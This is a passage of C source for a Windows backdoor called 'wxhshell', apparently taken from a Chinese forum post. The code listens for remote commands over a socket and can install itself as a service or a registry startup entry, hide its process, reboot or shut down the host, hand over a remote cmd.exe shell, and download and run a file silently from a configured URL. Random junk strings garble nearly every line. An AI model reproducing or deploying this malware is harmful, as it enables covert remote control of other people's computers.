    switch(cmd[0]) { P#(BdKjM  
  ~ztsR;iL  
  // 帮助 4k5X'&Q  
  case '?': { _jOu`1w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y<0;;tVf4U  
    break; $<.\,wW*'w  
  } bI 3o|  
  // 安装 5t`< KRz)I  
  case 'i': { ;Bk?,g  
    if(Install()) x2 *l5t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I@a y&NNh  
    else .5*h']iFr1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =  *7K_M&  
    break; {<{ O!  
    } iB;EV8E  
  // 卸载 ES[H^}|Gi  
  case 'r': { K,{P b?  
    if(Uninstall()) 'M>QA"*48E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LeDty_  
    else ezn%*X y,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {.=089`{  
    break; #~l(t_m{  
    } ~Ts^z(v~D2  
  // 显示 wxhshell 所在路径 vt@5Hb)  
  case 'p': { n$RhD93  
    char svExeFile[MAX_PATH]; qjQR0M C  
    strcpy(svExeFile,"\n\r"); N t]YhO  
      strcat(svExeFile,ExeFile); 8yEN)RqI  
        send(wsh,svExeFile,strlen(svExeFile),0); 64Gd^.Z  
    break; qRkY-0vBP  
    } 'NyIy:  
  // 重启 x%Ph``XI  
  case 'b': { 7\>P@s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b^[Ab:`}[V  
    if(Boot(REBOOT)) ~.99H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #@s[!4)_I  
    else { lXH?*  
    closesocket(wsh); e P]L  
    ExitThread(0); #=mLQSiQ  
    } p4QQ5O$;  
    break; EXDZehLD<]  
    } .)L%ANf  
  // 关机 \c1u$'|v  
  case 'd': { mw2/jA7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]X y2km]  
    if(Boot(SHUTDOWN)) q1!45a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {cmY`to  
    else { Bx9R!u5D  
    closesocket(wsh); +XV7W=  
    ExitThread(0); Y+vG ]?D  
    } q<.m@q  
    break; YJdM6   
    } 0c6b_%Rd  
  // 获取shell KE>|,U r  
  case 's': { v_M-:e3`  
    CmdShell(wsh); xQLVFgd  
    closesocket(wsh); @r7ekyO8)  
    ExitThread(0); /Kcp9Qx  
    break; e ]-fb{oVH  
  } |q0F*\z3  
  // 退出 X{cFq W7  
  case 'x': { D6X0(pU0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cngi5._Lb  
    CloseIt(wsh); \ZN>7?Vs  
    break; ncw)VH;_-  
    } SI_u0j4%*  
  // 离开 uG-t)pej  
  case 'q': { vmEbk/Vy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {A<pb{<u  
    closesocket(wsh); P/%5J3_,  
    WSACleanup(); yN-o?[o  
    exit(1); kA c8[Hn  
    break; %?<Y&t  
        } ^j~CYzmt  
  } =CBY_  
  } MZJ@qIg[Y  
v_U+wga  
  // 提示信息 i2bkgyzB.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xy(8}  
} `Hlv*" w$  
  } m9~cQ!m  
6:\0=k5  
  return; PB[ Y^q  
} a-[:RJW  
!*I0}I ~  
// shell模块句柄 )gNS%t c*K  
int CmdShell(SOCKET sock) h"#[{$(  
{ LDX>S*cL  
STARTUPINFO si; Hs9; &C  
ZeroMemory(&si,sizeof(si)); 'xK ,|U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7-#R[8S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IOL5p*:gz  
PROCESS_INFORMATION ProcessInfo; hYvWD.c}  
char cmdline[]="cmd"; ]lQLA IQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A^L8"  
  return 0; Y8i'=Po%,  
} 9Rf})$o+  
^9_4#Ep(  
// 自身启动模式 tJ 3Hg8;  
int StartFromService(void) "}|&eBH^<  
{ 6h5DvSO  
typedef struct 5vP=Wf cW  
{ %imI.6   
  DWORD ExitStatus; F7!q18ew  
  DWORD PebBaseAddress; fx74h{3u  
  DWORD AffinityMask; c]Z@L~WW  
  DWORD BasePriority; 4Su|aWL-  
  ULONG UniqueProcessId; K U;d[Z@g  
  ULONG InheritedFromUniqueProcessId; s?j||  
}   PROCESS_BASIC_INFORMATION; :o37 V!  
+cXdF  
PROCNTQSIP NtQueryInformationProcess; 1uwzo9Yg  
QV%,s!_b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1r:i'cW h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P<E!ix  
=|j~*6Hd  
  HANDLE             hProcess; ta  
  PROCESS_BASIC_INFORMATION pbi; b^s>yN  
tNbL)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A_pcv7=@  
  if(NULL == hInst ) return 0; sKCfI]  
<>l!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g&]n:qx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |g`:K0BI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AQ<2 "s  
'uBagd>*  
  if (!NtQueryInformationProcess) return 0; W{!Slf  
gH u!~l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Au"7w=G`f  
  if(!hProcess) return 0; 9JtPP  
(~U1 X4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^`*p;&(K\^  
35}]U=  
  CloseHandle(hProcess); ZHN}:W/p  
-~+Y0\%E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a +lTAe  
if(hProcess==NULL) return 0; Y I?4e7Z+  
dN)@/R^E;  
HMODULE hMod; :c/](M  
char procName[255]; o0B3G  
unsigned long cbNeeded; [j;#w,Wb  
+Rq7m]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "k> ;K,:  
X/AA8QV o  
  CloseHandle(hProcess); vVfIe5+OP  
-. J@  
if(strstr(procName,"services")) return 1; // 以服务启动 2;`F` }BA  
\L]T|]}(  
  return 0; // 注册表启动 y%Wbm&h  
} Gi S{=+=5  
fa#5pys  
// 主模块 U#gv ~)\k  
int StartWxhshell(LPSTR lpCmdLine) D//uwom  
{ gZ 6Hj62D  
  SOCKET wsl; ,!I'0x1OR  
BOOL val=TRUE; Y(97},  
  int port=0; ;)rs#T;$  
  struct sockaddr_in door; g@s'-8}X^  
,/1[(^e  
  if(wscfg.ws_autoins) Install(); iosL&*'8  
Op 0Qpn  
port=atoi(lpCmdLine); 2E/yZ ~2s  
P$hmDTn72  
if(port<=0) port=wscfg.ws_port; o4d[LV4DS  
yS"; q  
  WSADATA data; |)pgUI2O[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "v[?`<53^l  
|$QL>{81  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fq`wx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rvwfQ'14  
  door.sin_family = AF_INET; .4cOMiG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MU#$tXmnC  
  door.sin_port = htons(port); \+I+Lrj%  
&h67LMD!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KOP*\\1 J  
closesocket(wsl); 4SGF8y@WU  
return 1; t=6Wk4  
} SHt#%3EU  
8pE0ANbq  
  if(listen(wsl,2) == INVALID_SOCKET) { MoP,a9p  
closesocket(wsl); Y:3\z?oV[  
return 1; 4K<T_B/  
} ?6>rQ6tBv  
  Wxhshell(wsl); `mo>~c7  
  WSACleanup(); mj^]e/s%  
n<3*7/-  
return 0; h_?#.z0ih;  
1 z5\>F  
} Yv7`5b{N.  
+`$[h2Z=:  
// 以NT服务方式启动 otSF8[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {S=gXIh(y  
{ TkjPa};R  
DWORD   status = 0; L |pJ\~  
  DWORD   specificError = 0xfffffff; QU%'z/dip  
:eR[lR^4*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Mz:t[rfs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r\f|r$i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p}{V%!`_  
  serviceStatus.dwWin32ExitCode     = 0; !tr /$  
  serviceStatus.dwServiceSpecificExitCode = 0; .0H!B#9  
  serviceStatus.dwCheckPoint       = 0; F)Qj<6  
  serviceStatus.dwWaitHint       = 0; ,`nl";Zc  
=S|^pN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kj`sq":Je0  
  if (hServiceStatusHandle==0) return; o7#Mr`6H  
S&w(H'4N  
status = GetLastError(); ].,T Snb  
  if (status!=NO_ERROR) /*2sg>e'QF  
{ cQ<* (KU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xy'qgK?  
    serviceStatus.dwCheckPoint       = 0; \y*,N^wu  
    serviceStatus.dwWaitHint       = 0; 3NA G}S  
    serviceStatus.dwWin32ExitCode     = status; 5q>u]n9]  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z d]2>h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OcLFVD=  
    return; _Sxp|{H0  
  } },'Ij; %%Q  
sxBRg=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hz] p]  
  serviceStatus.dwCheckPoint       = 0; DJ#z0)3<p  
  serviceStatus.dwWaitHint       = 0; nM,5KHU4a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T.j&UEsd  
} ;N/=)m  
!s:v UY58  
// 处理NT服务事件,比如:启动、停止 H%:u9DlEK/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <(<19t5.  
{ B%e#u.'6  
switch(fdwControl) %M_5C4&6  
{ UW/{q`)  
case SERVICE_CONTROL_STOP: 7Yjxx+X9  
  serviceStatus.dwWin32ExitCode = 0; 05>xQx?"m4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FII>6c  
  serviceStatus.dwCheckPoint   = 0; R.+yVO2  
  serviceStatus.dwWaitHint     = 0; {<_9QAS  
  { T2$V5RyX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Iret :  
  } !agtgS$qII  
  return; /\B[lRn  
case SERVICE_CONTROL_PAUSE: gUq)M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; : %hxg  
  break; ~"ij,Op,3  
case SERVICE_CONTROL_CONTINUE: 3M&IMf,/@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <(%cb.^c=N  
  break; ErDt~FH  
case SERVICE_CONTROL_INTERROGATE: )5M9Ro7  
  break; /`Wd+  
}; Hx]{'?   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T'TxC)  
} s`$px2Gw  
vs )1Rm  
// 标准应用程序主函数 "[LSDE"(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VC6S4FU4K  
{ @$(/6]4p  
+yYv"J  
// 获取操作系统版本 8'kA",P  
OsIsNt=GetOsVer(); B?xu!B,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZoiCdXvTN  
1jhGshhp  
  // 从命令行安装 1K;i/  
  if(strpbrk(lpCmdLine,"iI")) Install(); $*Q_3]AY]  
$K,6!FyBa  
  // 下载执行文件 ^5l4D3@E  
if(wscfg.ws_downexe) { Q3vWwP;t~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %joIe w]V3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yjr6/&ML  
} `[+nz rLkO  
uW,L<;HnQ  
if(!OsIsNt) { ]o(&J7Z6-  
// 如果时win9x,隐藏进程并且设置为注册表启动 AwKxt'()^  
HideProc(); I2!0,1Q  
StartWxhshell(lpCmdLine); 8'2lc  
} PG1#Z?_  
else s)e; c<(/  
  if(StartFromService()) 3-Q*umh  
  // 以服务方式启动 `aS9 o]t  
  StartServiceCtrlDispatcher(DispatchTable); g]g2`ab |  
else "5-S:+  
  // 普通方式启动 hOX$|0i  
  StartWxhshell(lpCmdLine); 1MV\ ^l_  
[Q/')5b  
return 0; U?6YY` A8  
}
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只看该作者 1 发表于: 2006-10-10
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